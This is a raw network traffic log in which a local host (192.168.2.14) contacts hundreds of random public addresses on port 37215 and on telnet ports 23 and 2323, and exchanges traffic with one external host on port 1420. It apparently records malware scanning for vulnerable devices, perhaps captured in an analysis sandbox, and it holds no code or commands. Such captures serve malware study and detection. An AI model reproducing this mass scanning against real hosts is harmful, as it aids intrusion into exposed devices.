Nov 3, 2024 15:37:14.588891029 CET	35945	37215	192.168.2.14	197.162.132.67
Nov 3, 2024 15:37:14.588891029 CET	35945	37215	192.168.2.14	197.117.32.253
Nov 3, 2024 15:37:14.588891983 CET	35945	37215	192.168.2.14	156.14.103.176
Nov 3, 2024 15:37:14.588903904 CET	35945	37215	192.168.2.14	156.157.100.143
Nov 3, 2024 15:37:14.588903904 CET	35945	37215	192.168.2.14	197.17.234.202
Nov 3, 2024 15:37:14.588905096 CET	35945	37215	192.168.2.14	41.228.144.68
Nov 3, 2024 15:37:14.588905096 CET	35945	37215	192.168.2.14	41.92.123.71
Nov 3, 2024 15:37:14.588912010 CET	35945	37215	192.168.2.14	156.238.1.147
Nov 3, 2024 15:37:14.588924885 CET	35945	37215	192.168.2.14	41.38.11.23
Nov 3, 2024 15:37:14.588931084 CET	35945	37215	192.168.2.14	197.42.221.249
Nov 3, 2024 15:37:14.588933945 CET	35945	37215	192.168.2.14	197.247.20.117
Nov 3, 2024 15:37:14.588933945 CET	35945	37215	192.168.2.14	156.228.32.45
Nov 3, 2024 15:37:14.588938951 CET	35945	37215	192.168.2.14	156.56.196.20
Nov 3, 2024 15:37:14.588941097 CET	35945	37215	192.168.2.14	41.208.160.202
Nov 3, 2024 15:37:14.588953972 CET	35945	37215	192.168.2.14	197.240.167.236
Nov 3, 2024 15:37:14.588953972 CET	35945	37215	192.168.2.14	41.32.194.37
Nov 3, 2024 15:37:14.588957071 CET	35945	37215	192.168.2.14	197.95.247.149
Nov 3, 2024 15:37:14.588957071 CET	35945	37215	192.168.2.14	41.65.218.175
Nov 3, 2024 15:37:14.588973045 CET	35945	37215	192.168.2.14	197.137.146.222
Nov 3, 2024 15:37:14.588974953 CET	35945	37215	192.168.2.14	156.234.240.108
Nov 3, 2024 15:37:14.588977098 CET	35945	37215	192.168.2.14	156.170.76.142
Nov 3, 2024 15:37:14.588977098 CET	35945	37215	192.168.2.14	156.247.203.218
Nov 3, 2024 15:37:14.588990927 CET	35945	37215	192.168.2.14	156.88.96.75
Nov 3, 2024 15:37:14.588993073 CET	35945	37215	192.168.2.14	197.30.49.232
Nov 3, 2024 15:37:14.588998079 CET	35945	37215	192.168.2.14	41.22.93.110
Nov 3, 2024 15:37:14.588999033 CET	35945	37215	192.168.2.14	41.133.133.166
Nov 3, 2024 15:37:14.588999033 CET	35945	37215	192.168.2.14	197.147.242.249
Nov 3, 2024 15:37:14.588999033 CET	35945	37215	192.168.2.14	197.210.190.204
Nov 3, 2024 15:37:14.589004040 CET	35945	37215	192.168.2.14	156.206.6.5
Nov 3, 2024 15:37:14.589008093 CET	35945	37215	192.168.2.14	156.42.28.88
Nov 3, 2024 15:37:14.589025021 CET	35945	37215	192.168.2.14	41.245.137.153
Nov 3, 2024 15:37:14.589029074 CET	35945	37215	192.168.2.14	197.12.191.157
Nov 3, 2024 15:37:14.589030981 CET	35945	37215	192.168.2.14	197.184.80.4
Nov 3, 2024 15:37:14.589034081 CET	35945	37215	192.168.2.14	156.221.101.58
Nov 3, 2024 15:37:14.589041948 CET	35945	37215	192.168.2.14	41.204.190.38
Nov 3, 2024 15:37:14.589046001 CET	35945	37215	192.168.2.14	156.70.197.218
Nov 3, 2024 15:37:14.589047909 CET	35945	37215	192.168.2.14	156.236.23.187
Nov 3, 2024 15:37:14.589052916 CET	35945	37215	192.168.2.14	156.18.234.188
Nov 3, 2024 15:37:14.589062929 CET	35945	37215	192.168.2.14	156.30.5.243
Nov 3, 2024 15:37:14.589071989 CET	35945	37215	192.168.2.14	197.95.251.45
Nov 3, 2024 15:37:14.589073896 CET	35945	37215	192.168.2.14	197.135.63.43
Nov 3, 2024 15:37:14.589075089 CET	35945	37215	192.168.2.14	197.183.16.210
Nov 3, 2024 15:37:14.589076042 CET	35945	37215	192.168.2.14	41.192.86.51
Nov 3, 2024 15:37:14.589076042 CET	35945	37215	192.168.2.14	156.104.87.115
Nov 3, 2024 15:37:14.589078903 CET	35945	37215	192.168.2.14	197.119.27.175
Nov 3, 2024 15:37:14.589081049 CET	35945	37215	192.168.2.14	156.60.125.41
Nov 3, 2024 15:37:14.589096069 CET	35945	37215	192.168.2.14	156.255.105.152
Nov 3, 2024 15:37:14.589096069 CET	35945	37215	192.168.2.14	41.1.203.45
Nov 3, 2024 15:37:14.589099884 CET	35945	37215	192.168.2.14	41.11.189.241
Nov 3, 2024 15:37:14.589099884 CET	35945	37215	192.168.2.14	156.199.183.83
Nov 3, 2024 15:37:14.589106083 CET	35945	37215	192.168.2.14	197.111.239.61
Nov 3, 2024 15:37:14.589107990 CET	35945	37215	192.168.2.14	156.190.62.202
Nov 3, 2024 15:37:14.589123011 CET	35945	37215	192.168.2.14	197.248.47.226
Nov 3, 2024 15:37:14.589123964 CET	35945	37215	192.168.2.14	197.40.149.38
Nov 3, 2024 15:37:14.589124918 CET	35945	37215	192.168.2.14	197.223.211.13
Nov 3, 2024 15:37:14.589124918 CET	35945	37215	192.168.2.14	156.42.145.61
Nov 3, 2024 15:37:14.589123964 CET	35945	37215	192.168.2.14	197.172.255.94
Nov 3, 2024 15:37:14.589131117 CET	35945	37215	192.168.2.14	197.234.108.102
Nov 3, 2024 15:37:14.589133024 CET	35945	37215	192.168.2.14	197.49.177.89
Nov 3, 2024 15:37:14.589145899 CET	35945	37215	192.168.2.14	41.219.115.42
Nov 3, 2024 15:37:14.589152098 CET	35945	37215	192.168.2.14	41.78.105.47
Nov 3, 2024 15:37:14.589153051 CET	35945	37215	192.168.2.14	41.134.107.18
Nov 3, 2024 15:37:14.589153051 CET	35945	37215	192.168.2.14	197.245.118.201
Nov 3, 2024 15:37:14.589153051 CET	35945	37215	192.168.2.14	156.88.177.195
Nov 3, 2024 15:37:14.589155912 CET	35945	37215	192.168.2.14	197.36.254.6
Nov 3, 2024 15:37:14.589171886 CET	35945	37215	192.168.2.14	197.99.50.192
Nov 3, 2024 15:37:14.589175940 CET	35945	37215	192.168.2.14	41.184.254.143
Nov 3, 2024 15:37:14.589175940 CET	35945	37215	192.168.2.14	197.3.95.104
Nov 3, 2024 15:37:14.589178085 CET	35945	37215	192.168.2.14	41.29.232.216
Nov 3, 2024 15:37:14.617427111 CET	59696	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:15.184201956 CET	1420	34396	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:15.184303045 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:15.184324026 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:15.184479952 CET	1420	34396	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:15.184530020 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:15.184700966 CET	1420	34396	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:15.184747934 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:15.386238098 CET	2323	36201	176.74.29.66	192.168.2.14
Nov 3, 2024 15:37:15.386250973 CET	23	36201	34.63.133.186	192.168.2.14
Nov 3, 2024 15:37:15.386261940 CET	23	36201	197.103.21.152	192.168.2.14
Nov 3, 2024 15:37:15.386281967 CET	23	36201	190.47.162.52	192.168.2.14
Nov 3, 2024 15:37:15.386303902 CET	23	36201	125.194.22.234	192.168.2.14
Nov 3, 2024 15:37:15.386324883 CET	23	36201	163.120.135.147	192.168.2.14
Nov 3, 2024 15:37:15.386326075 CET	36201	23	192.168.2.14	34.63.133.186
Nov 3, 2024 15:37:15.386332989 CET	36201	2323	192.168.2.14	176.74.29.66
Nov 3, 2024 15:37:15.386332989 CET	36201	23	192.168.2.14	190.47.162.52
Nov 3, 2024 15:37:15.386333942 CET	36201	23	192.168.2.14	197.103.21.152
Nov 3, 2024 15:37:15.386332989 CET	36201	23	192.168.2.14	125.194.22.234
Nov 3, 2024 15:37:15.386337042 CET	23	36201	67.25.195.74	192.168.2.14
Nov 3, 2024 15:37:15.386349916 CET	23	36201	145.205.241.64	192.168.2.14
Nov 3, 2024 15:37:15.386359930 CET	23	36201	176.179.236.87	192.168.2.14
Nov 3, 2024 15:37:15.386363029 CET	36201	23	192.168.2.14	163.120.135.147
Nov 3, 2024 15:37:15.386370897 CET	23	36201	135.190.130.6	192.168.2.14
Nov 3, 2024 15:37:15.386374950 CET	36201	23	192.168.2.14	67.25.195.74
Nov 3, 2024 15:37:15.386382103 CET	23	36201	141.110.243.107	192.168.2.14
Nov 3, 2024 15:37:15.386382103 CET	36201	23	192.168.2.14	145.205.241.64
Nov 3, 2024 15:37:15.386388063 CET	36201	23	192.168.2.14	176.179.236.87
Nov 3, 2024 15:37:15.386393070 CET	23	36201	95.203.133.31	192.168.2.14
Nov 3, 2024 15:37:15.386401892 CET	36201	23	192.168.2.14	135.190.130.6
Nov 3, 2024 15:37:15.386408091 CET	23	36201	90.28.144.239	192.168.2.14
Nov 3, 2024 15:37:15.386410952 CET	36201	23	192.168.2.14	141.110.243.107
Nov 3, 2024 15:37:15.386419058 CET	2323	36201	115.42.123.213	192.168.2.14
Nov 3, 2024 15:37:15.386424065 CET	36201	23	192.168.2.14	95.203.133.31
Nov 3, 2024 15:37:15.386429071 CET	23	36201	126.243.194.180	192.168.2.14
Nov 3, 2024 15:37:15.386436939 CET	36201	23	192.168.2.14	90.28.144.239
Nov 3, 2024 15:37:15.386440992 CET	23	36201	57.3.195.62	192.168.2.14
Nov 3, 2024 15:37:15.386451006 CET	23	36201	12.126.107.146	192.168.2.14
Nov 3, 2024 15:37:15.386451006 CET	36201	2323	192.168.2.14	115.42.123.213
Nov 3, 2024 15:37:15.386466026 CET	23	36201	208.184.13.133	192.168.2.14
Nov 3, 2024 15:37:15.386468887 CET	36201	23	192.168.2.14	57.3.195.62
Nov 3, 2024 15:37:15.386471033 CET	36201	23	192.168.2.14	126.243.194.180
Nov 3, 2024 15:37:15.386476994 CET	23	36201	87.32.202.95	192.168.2.14
Nov 3, 2024 15:37:15.386492014 CET	23	36201	170.51.185.8	192.168.2.14
Nov 3, 2024 15:37:15.386498928 CET	36201	23	192.168.2.14	12.126.107.146
Nov 3, 2024 15:37:15.386501074 CET	36201	23	192.168.2.14	208.184.13.133
Nov 3, 2024 15:37:15.386508942 CET	2323	36201	196.133.129.159	192.168.2.14
Nov 3, 2024 15:37:15.386514902 CET	36201	23	192.168.2.14	87.32.202.95
Nov 3, 2024 15:37:15.386526108 CET	36201	23	192.168.2.14	170.51.185.8
Nov 3, 2024 15:37:15.386540890 CET	23	36201	193.232.42.104	192.168.2.14
Nov 3, 2024 15:37:15.386543036 CET	36201	2323	192.168.2.14	196.133.129.159
Nov 3, 2024 15:37:15.386550903 CET	23	36201	74.165.153.162	192.168.2.14
Nov 3, 2024 15:37:15.386574030 CET	36201	23	192.168.2.14	74.165.153.162
Nov 3, 2024 15:37:15.386578083 CET	36201	23	192.168.2.14	193.232.42.104
Nov 3, 2024 15:37:15.386804104 CET	23	36201	166.86.199.84	192.168.2.14
Nov 3, 2024 15:37:15.386814117 CET	23	36201	9.150.148.111	192.168.2.14
Nov 3, 2024 15:37:15.386828899 CET	23	36201	88.138.122.24	192.168.2.14
Nov 3, 2024 15:37:15.386840105 CET	36201	23	192.168.2.14	166.86.199.84
Nov 3, 2024 15:37:15.386846066 CET	36201	23	192.168.2.14	9.150.148.111
Nov 3, 2024 15:37:15.386847973 CET	23	36201	23.211.178.175	192.168.2.14
Nov 3, 2024 15:37:15.386856079 CET	36201	23	192.168.2.14	88.138.122.24
Nov 3, 2024 15:37:15.386879921 CET	36201	23	192.168.2.14	23.211.178.175
Nov 3, 2024 15:37:15.386910915 CET	23	36201	109.254.236.27	192.168.2.14
Nov 3, 2024 15:37:15.386921883 CET	23	36201	73.37.126.138	192.168.2.14
Nov 3, 2024 15:37:15.386941910 CET	23	36201	115.57.193.182	192.168.2.14
Nov 3, 2024 15:37:15.386949062 CET	36201	23	192.168.2.14	109.254.236.27
Nov 3, 2024 15:37:15.386951923 CET	36201	23	192.168.2.14	73.37.126.138
Nov 3, 2024 15:37:15.386953115 CET	2323	36201	210.171.14.84	192.168.2.14
Nov 3, 2024 15:37:15.386964083 CET	23	36201	47.244.178.101	192.168.2.14
Nov 3, 2024 15:37:15.386974096 CET	23	36201	116.48.0.90	192.168.2.14
Nov 3, 2024 15:37:15.386980057 CET	36201	23	192.168.2.14	115.57.193.182
Nov 3, 2024 15:37:15.386982918 CET	23	36201	188.228.223.246	192.168.2.14
Nov 3, 2024 15:37:15.386982918 CET	36201	2323	192.168.2.14	210.171.14.84
Nov 3, 2024 15:37:15.386995077 CET	23	36201	101.133.77.20	192.168.2.14
Nov 3, 2024 15:37:15.386998892 CET	36201	23	192.168.2.14	47.244.178.101
Nov 3, 2024 15:37:15.387002945 CET	36201	23	192.168.2.14	116.48.0.90
Nov 3, 2024 15:37:15.387005091 CET	23	36201	180.224.197.84	192.168.2.14
Nov 3, 2024 15:37:15.387016058 CET	23	36201	121.94.86.207	192.168.2.14
Nov 3, 2024 15:37:15.387026072 CET	36201	23	192.168.2.14	188.228.223.246
Nov 3, 2024 15:37:15.387026072 CET	36201	23	192.168.2.14	101.133.77.20
Nov 3, 2024 15:37:15.387027025 CET	23	36201	160.59.138.204	192.168.2.14
Nov 3, 2024 15:37:15.387028933 CET	36201	23	192.168.2.14	180.224.197.84
Nov 3, 2024 15:37:15.387039900 CET	23	36201	206.223.62.60	192.168.2.14
Nov 3, 2024 15:37:15.387049913 CET	23	36201	208.132.233.191	192.168.2.14
Nov 3, 2024 15:37:15.387057066 CET	36201	23	192.168.2.14	121.94.86.207
Nov 3, 2024 15:37:15.387058020 CET	36201	23	192.168.2.14	160.59.138.204
Nov 3, 2024 15:37:15.387059927 CET	2323	36201	31.220.235.237	192.168.2.14
Nov 3, 2024 15:37:15.387068987 CET	36201	23	192.168.2.14	206.223.62.60
Nov 3, 2024 15:37:15.387074947 CET	23	36201	76.33.226.215	192.168.2.14
Nov 3, 2024 15:37:15.387079954 CET	36201	23	192.168.2.14	208.132.233.191
Nov 3, 2024 15:37:15.387085915 CET	23	36201	204.29.155.89	192.168.2.14
Nov 3, 2024 15:37:15.387096882 CET	23	36201	59.246.64.38	192.168.2.14
Nov 3, 2024 15:37:15.387099028 CET	36201	2323	192.168.2.14	31.220.235.237
Nov 3, 2024 15:37:15.387099981 CET	36201	23	192.168.2.14	76.33.226.215
Nov 3, 2024 15:37:15.387108088 CET	23	36201	193.38.147.177	192.168.2.14
Nov 3, 2024 15:37:15.387115955 CET	36201	23	192.168.2.14	204.29.155.89
Nov 3, 2024 15:37:15.387118101 CET	23	36201	95.175.47.139	192.168.2.14
Nov 3, 2024 15:37:15.387129068 CET	23	36201	98.150.43.172	192.168.2.14
Nov 3, 2024 15:37:15.387139082 CET	36201	23	192.168.2.14	59.246.64.38
Nov 3, 2024 15:37:15.387139082 CET	36201	23	192.168.2.14	193.38.147.177
Nov 3, 2024 15:37:15.387150049 CET	23	36201	192.143.166.98	192.168.2.14
Nov 3, 2024 15:37:15.387154102 CET	36201	23	192.168.2.14	95.175.47.139
Nov 3, 2024 15:37:15.387161016 CET	23	36201	31.165.84.187	192.168.2.14
Nov 3, 2024 15:37:15.387168884 CET	36201	23	192.168.2.14	98.150.43.172
Nov 3, 2024 15:37:15.387171030 CET	2323	36201	219.37.31.161	192.168.2.14
Nov 3, 2024 15:37:15.387180090 CET	23	36201	47.162.214.136	192.168.2.14
Nov 3, 2024 15:37:15.387182951 CET	36201	23	192.168.2.14	192.143.166.98
Nov 3, 2024 15:37:15.387198925 CET	36201	23	192.168.2.14	31.165.84.187
Nov 3, 2024 15:37:15.387200117 CET	36201	2323	192.168.2.14	219.37.31.161
Nov 3, 2024 15:37:15.387208939 CET	36201	23	192.168.2.14	47.162.214.136
Nov 3, 2024 15:37:15.387425900 CET	23	36201	157.78.238.174	192.168.2.14
Nov 3, 2024 15:37:15.387437105 CET	23	36201	20.238.251.243	192.168.2.14
Nov 3, 2024 15:37:15.387445927 CET	23	36201	17.217.144.30	192.168.2.14
Nov 3, 2024 15:37:15.387456894 CET	23	36201	18.131.27.104	192.168.2.14
Nov 3, 2024 15:37:15.387465954 CET	36201	23	192.168.2.14	157.78.238.174
Nov 3, 2024 15:37:15.387468100 CET	23	36201	73.181.97.36	192.168.2.14
Nov 3, 2024 15:37:15.387475967 CET	36201	23	192.168.2.14	20.238.251.243
Nov 3, 2024 15:37:15.387485027 CET	36201	23	192.168.2.14	17.217.144.30
Nov 3, 2024 15:37:15.387485027 CET	36201	23	192.168.2.14	18.131.27.104
Nov 3, 2024 15:37:15.387492895 CET	23	36201	175.205.75.185	192.168.2.14
Nov 3, 2024 15:37:15.387501001 CET	36201	23	192.168.2.14	73.181.97.36
Nov 3, 2024 15:37:15.387504101 CET	23	36201	149.74.155.233	192.168.2.14
Nov 3, 2024 15:37:15.387515068 CET	23	36201	126.239.255.29	192.168.2.14
Nov 3, 2024 15:37:15.387526989 CET	23	36201	184.70.31.49	192.168.2.14
Nov 3, 2024 15:37:15.387530088 CET	36201	23	192.168.2.14	149.74.155.233
Nov 3, 2024 15:37:15.387531042 CET	36201	23	192.168.2.14	175.205.75.185
Nov 3, 2024 15:37:15.387546062 CET	23	36201	63.126.153.217	192.168.2.14
Nov 3, 2024 15:37:15.387548923 CET	36201	23	192.168.2.14	126.239.255.29
Nov 3, 2024 15:37:15.387552977 CET	36201	23	192.168.2.14	184.70.31.49
Nov 3, 2024 15:37:15.387557030 CET	2323	36201	85.157.222.11	192.168.2.14
Nov 3, 2024 15:37:15.387567997 CET	23	36201	118.25.27.15	192.168.2.14
Nov 3, 2024 15:37:15.387578964 CET	36201	23	192.168.2.14	63.126.153.217
Nov 3, 2024 15:37:15.387586117 CET	23	36201	164.183.79.201	192.168.2.14
Nov 3, 2024 15:37:15.387590885 CET	36201	2323	192.168.2.14	85.157.222.11
Nov 3, 2024 15:37:15.387598038 CET	23	36201	117.12.17.235	192.168.2.14
Nov 3, 2024 15:37:15.387603998 CET	36201	23	192.168.2.14	118.25.27.15
Nov 3, 2024 15:37:15.387609005 CET	23	36201	57.247.143.31	192.168.2.14
Nov 3, 2024 15:37:15.387619019 CET	23	36201	166.166.3.39	192.168.2.14
Nov 3, 2024 15:37:15.387619019 CET	36201	23	192.168.2.14	164.183.79.201
Nov 3, 2024 15:37:15.387629986 CET	23	36201	114.136.34.166	192.168.2.14
Nov 3, 2024 15:37:15.387634993 CET	36201	23	192.168.2.14	117.12.17.235
Nov 3, 2024 15:37:15.387636900 CET	36201	23	192.168.2.14	57.247.143.31
Nov 3, 2024 15:37:15.387641907 CET	23	36201	181.159.171.193	192.168.2.14
Nov 3, 2024 15:37:15.387653112 CET	23	36201	84.22.59.107	192.168.2.14
Nov 3, 2024 15:37:15.387659073 CET	36201	23	192.168.2.14	114.136.34.166
Nov 3, 2024 15:37:15.387661934 CET	36201	23	192.168.2.14	166.166.3.39
Nov 3, 2024 15:37:15.387661934 CET	2323	36201	90.248.105.171	192.168.2.14
Nov 3, 2024 15:37:15.387670994 CET	36201	23	192.168.2.14	181.159.171.193
Nov 3, 2024 15:37:15.387680054 CET	23	36201	123.240.104.172	192.168.2.14
Nov 3, 2024 15:37:15.387680054 CET	36201	23	192.168.2.14	84.22.59.107
Nov 3, 2024 15:37:15.387691021 CET	23	36201	181.210.95.106	192.168.2.14
Nov 3, 2024 15:37:15.387701035 CET	36201	2323	192.168.2.14	90.248.105.171
Nov 3, 2024 15:37:15.387708902 CET	36201	23	192.168.2.14	123.240.104.172
Nov 3, 2024 15:37:15.387717009 CET	23	36201	135.28.251.4	192.168.2.14
Nov 3, 2024 15:37:15.387727022 CET	23	36201	104.253.74.78	192.168.2.14
Nov 3, 2024 15:37:15.387727976 CET	36201	23	192.168.2.14	181.210.95.106
Nov 3, 2024 15:37:15.387737989 CET	23	36201	46.1.180.5	192.168.2.14
Nov 3, 2024 15:37:15.387747049 CET	36201	23	192.168.2.14	135.28.251.4
Nov 3, 2024 15:37:15.387759924 CET	36201	23	192.168.2.14	104.253.74.78
Nov 3, 2024 15:37:15.387763023 CET	36201	23	192.168.2.14	46.1.180.5
Nov 3, 2024 15:37:15.387763977 CET	23	36201	151.221.114.161	192.168.2.14
Nov 3, 2024 15:37:15.387777090 CET	2323	36201	120.34.201.67	192.168.2.14
Nov 3, 2024 15:37:15.387785912 CET	23	36201	80.201.145.188	192.168.2.14
Nov 3, 2024 15:37:15.387805939 CET	36201	23	192.168.2.14	151.221.114.161
Nov 3, 2024 15:37:15.387805939 CET	36201	2323	192.168.2.14	120.34.201.67
Nov 3, 2024 15:37:15.387820005 CET	36201	23	192.168.2.14	80.201.145.188
Nov 3, 2024 15:37:15.387952089 CET	23	36201	82.152.50.54	192.168.2.14
Nov 3, 2024 15:37:15.387963057 CET	23	36201	149.197.153.83	192.168.2.14
Nov 3, 2024 15:37:15.387970924 CET	23	36201	101.248.49.48	192.168.2.14
Nov 3, 2024 15:37:15.387990952 CET	36201	23	192.168.2.14	82.152.50.54
Nov 3, 2024 15:37:15.387990952 CET	36201	23	192.168.2.14	149.197.153.83
Nov 3, 2024 15:37:15.388003111 CET	36201	23	192.168.2.14	101.248.49.48
Nov 3, 2024 15:37:15.388048887 CET	23	36201	102.141.70.235	192.168.2.14
Nov 3, 2024 15:37:15.388060093 CET	23	36201	180.26.115.64	192.168.2.14
Nov 3, 2024 15:37:15.388072014 CET	23	36201	13.232.184.171	192.168.2.14
Nov 3, 2024 15:37:15.388082981 CET	36201	23	192.168.2.14	102.141.70.235
Nov 3, 2024 15:37:15.388087034 CET	36201	23	192.168.2.14	180.26.115.64
Nov 3, 2024 15:37:15.388092041 CET	23	36201	65.69.12.30	192.168.2.14
Nov 3, 2024 15:37:15.388102055 CET	36201	23	192.168.2.14	13.232.184.171
Nov 3, 2024 15:37:15.388120890 CET	23	36201	91.154.22.90	192.168.2.14
Nov 3, 2024 15:37:15.388127089 CET	36201	23	192.168.2.14	65.69.12.30
Nov 3, 2024 15:37:15.388132095 CET	23	36201	34.182.191.100	192.168.2.14
Nov 3, 2024 15:37:15.388143063 CET	23	36201	220.148.195.201	192.168.2.14
Nov 3, 2024 15:37:15.388153076 CET	23	36201	116.251.140.88	192.168.2.14
Nov 3, 2024 15:37:15.388155937 CET	36201	23	192.168.2.14	91.154.22.90
Nov 3, 2024 15:37:15.388166904 CET	37215	45764	197.65.19.126	192.168.2.14
Nov 3, 2024 15:37:15.388168097 CET	36201	23	192.168.2.14	34.182.191.100
Nov 3, 2024 15:37:15.388170958 CET	36201	23	192.168.2.14	220.148.195.201
Nov 3, 2024 15:37:15.388179064 CET	37215	49032	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:15.388190031 CET	37215	38486	156.245.81.105	192.168.2.14
Nov 3, 2024 15:37:15.388189077 CET	36201	23	192.168.2.14	116.251.140.88
Nov 3, 2024 15:37:15.388200045 CET	37215	35945	41.135.91.196	192.168.2.14
Nov 3, 2024 15:37:15.388211966 CET	37215	35945	156.237.97.137	192.168.2.14
Nov 3, 2024 15:37:15.388216019 CET	45764	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:15.388219118 CET	49032	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:15.388221979 CET	37215	35945	156.124.200.113	192.168.2.14
Nov 3, 2024 15:37:15.388226032 CET	38486	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:15.388233900 CET	37215	35945	41.51.34.127	192.168.2.14
Nov 3, 2024 15:37:15.388241053 CET	35945	37215	192.168.2.14	41.135.91.196
Nov 3, 2024 15:37:15.388242006 CET	35945	37215	192.168.2.14	156.237.97.137
Nov 3, 2024 15:37:15.388243914 CET	37215	35945	41.202.183.165	192.168.2.14
Nov 3, 2024 15:37:15.388254881 CET	37215	35945	41.69.77.169	192.168.2.14
Nov 3, 2024 15:37:15.388257980 CET	35945	37215	192.168.2.14	41.51.34.127
Nov 3, 2024 15:37:15.388258934 CET	35945	37215	192.168.2.14	156.124.200.113
Nov 3, 2024 15:37:15.388267040 CET	37215	59696	41.89.33.112	192.168.2.14
Nov 3, 2024 15:37:15.388274908 CET	35945	37215	192.168.2.14	41.202.183.165
Nov 3, 2024 15:37:15.388277054 CET	35945	37215	192.168.2.14	41.69.77.169
Nov 3, 2024 15:37:15.388318062 CET	59696	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:15.388366938 CET	49032	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:15.388385057 CET	45764	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:15.388397932 CET	38486	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:15.388412952 CET	35945	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:15.388412952 CET	35945	37215	192.168.2.14	156.125.220.5
Nov 3, 2024 15:37:15.388416052 CET	35945	37215	192.168.2.14	156.41.151.105
Nov 3, 2024 15:37:15.388422012 CET	35945	37215	192.168.2.14	156.242.7.36
Nov 3, 2024 15:37:15.388422966 CET	35945	37215	192.168.2.14	41.35.188.21
Nov 3, 2024 15:37:15.388437986 CET	35945	37215	192.168.2.14	156.253.94.64
Nov 3, 2024 15:37:15.388439894 CET	35945	37215	192.168.2.14	197.77.9.49
Nov 3, 2024 15:37:15.388439894 CET	35945	37215	192.168.2.14	156.1.100.73
Nov 3, 2024 15:37:15.388439894 CET	35945	37215	192.168.2.14	41.46.213.46
Nov 3, 2024 15:37:15.388439894 CET	35945	37215	192.168.2.14	41.191.220.250
Nov 3, 2024 15:37:15.388448954 CET	35945	37215	192.168.2.14	41.69.157.162
Nov 3, 2024 15:37:15.388448954 CET	35945	37215	192.168.2.14	156.164.209.17
Nov 3, 2024 15:37:15.388456106 CET	35945	37215	192.168.2.14	197.61.130.228
Nov 3, 2024 15:37:15.388464928 CET	35945	37215	192.168.2.14	156.77.41.62
Nov 3, 2024 15:37:15.388467073 CET	35945	37215	192.168.2.14	197.86.63.36
Nov 3, 2024 15:37:15.388474941 CET	35945	37215	192.168.2.14	156.66.120.45
Nov 3, 2024 15:37:15.388480902 CET	35945	37215	192.168.2.14	197.165.253.160
Nov 3, 2024 15:37:15.388483047 CET	35945	37215	192.168.2.14	41.138.3.85
Nov 3, 2024 15:37:15.388485909 CET	35945	37215	192.168.2.14	197.180.246.19
Nov 3, 2024 15:37:15.388503075 CET	35945	37215	192.168.2.14	197.42.194.121
Nov 3, 2024 15:37:15.388503075 CET	35945	37215	192.168.2.14	197.133.46.246
Nov 3, 2024 15:37:15.388504028 CET	35945	37215	192.168.2.14	156.76.79.236
Nov 3, 2024 15:37:15.388510942 CET	35945	37215	192.168.2.14	156.18.170.50
Nov 3, 2024 15:37:15.388523102 CET	35945	37215	192.168.2.14	197.199.193.81
Nov 3, 2024 15:37:15.388523102 CET	35945	37215	192.168.2.14	156.171.10.118
Nov 3, 2024 15:37:15.388525009 CET	35945	37215	192.168.2.14	197.128.163.103
Nov 3, 2024 15:37:15.388525009 CET	35945	37215	192.168.2.14	197.9.181.39
Nov 3, 2024 15:37:15.388529062 CET	35945	37215	192.168.2.14	156.99.16.69
Nov 3, 2024 15:37:15.388529062 CET	35945	37215	192.168.2.14	41.169.47.223
Nov 3, 2024 15:37:15.388529062 CET	35945	37215	192.168.2.14	197.187.102.211
Nov 3, 2024 15:37:15.388540983 CET	35945	37215	192.168.2.14	156.46.63.127
Nov 3, 2024 15:37:15.388540983 CET	35945	37215	192.168.2.14	156.161.128.73
Nov 3, 2024 15:37:15.388540983 CET	35945	37215	192.168.2.14	197.178.183.95
Nov 3, 2024 15:37:15.388541937 CET	35945	37215	192.168.2.14	156.251.175.176
Nov 3, 2024 15:37:15.388540983 CET	35945	37215	192.168.2.14	156.177.173.227
Nov 3, 2024 15:37:15.388541937 CET	35945	37215	192.168.2.14	41.119.192.196
Nov 3, 2024 15:37:15.388544083 CET	35945	37215	192.168.2.14	197.162.187.45
Nov 3, 2024 15:37:15.388552904 CET	35945	37215	192.168.2.14	197.201.248.7
Nov 3, 2024 15:37:15.388554096 CET	35945	37215	192.168.2.14	197.184.254.212
Nov 3, 2024 15:37:15.388557911 CET	35945	37215	192.168.2.14	156.172.44.144
Nov 3, 2024 15:37:15.388566017 CET	35945	37215	192.168.2.14	197.96.212.56
Nov 3, 2024 15:37:15.388566971 CET	35945	37215	192.168.2.14	197.209.184.77
Nov 3, 2024 15:37:15.388571024 CET	35945	37215	192.168.2.14	197.154.154.127
Nov 3, 2024 15:37:15.388586044 CET	35945	37215	192.168.2.14	156.32.70.57
Nov 3, 2024 15:37:15.388586998 CET	35945	37215	192.168.2.14	156.150.129.11
Nov 3, 2024 15:37:15.388590097 CET	35945	37215	192.168.2.14	156.89.94.83
Nov 3, 2024 15:37:15.388590097 CET	35945	37215	192.168.2.14	197.144.161.163
Nov 3, 2024 15:37:15.388590097 CET	35945	37215	192.168.2.14	156.250.126.240
Nov 3, 2024 15:37:15.388602972 CET	35945	37215	192.168.2.14	41.189.102.116
Nov 3, 2024 15:37:15.388606071 CET	35945	37215	192.168.2.14	156.52.174.31
Nov 3, 2024 15:37:15.388607025 CET	35945	37215	192.168.2.14	156.223.190.37
Nov 3, 2024 15:37:15.388612032 CET	35945	37215	192.168.2.14	41.120.215.161
Nov 3, 2024 15:37:15.388622999 CET	35945	37215	192.168.2.14	197.237.126.146
Nov 3, 2024 15:37:15.388628960 CET	35945	37215	192.168.2.14	156.104.238.184
Nov 3, 2024 15:37:15.388628960 CET	35945	37215	192.168.2.14	41.43.59.187
Nov 3, 2024 15:37:15.388628960 CET	35945	37215	192.168.2.14	156.95.27.201
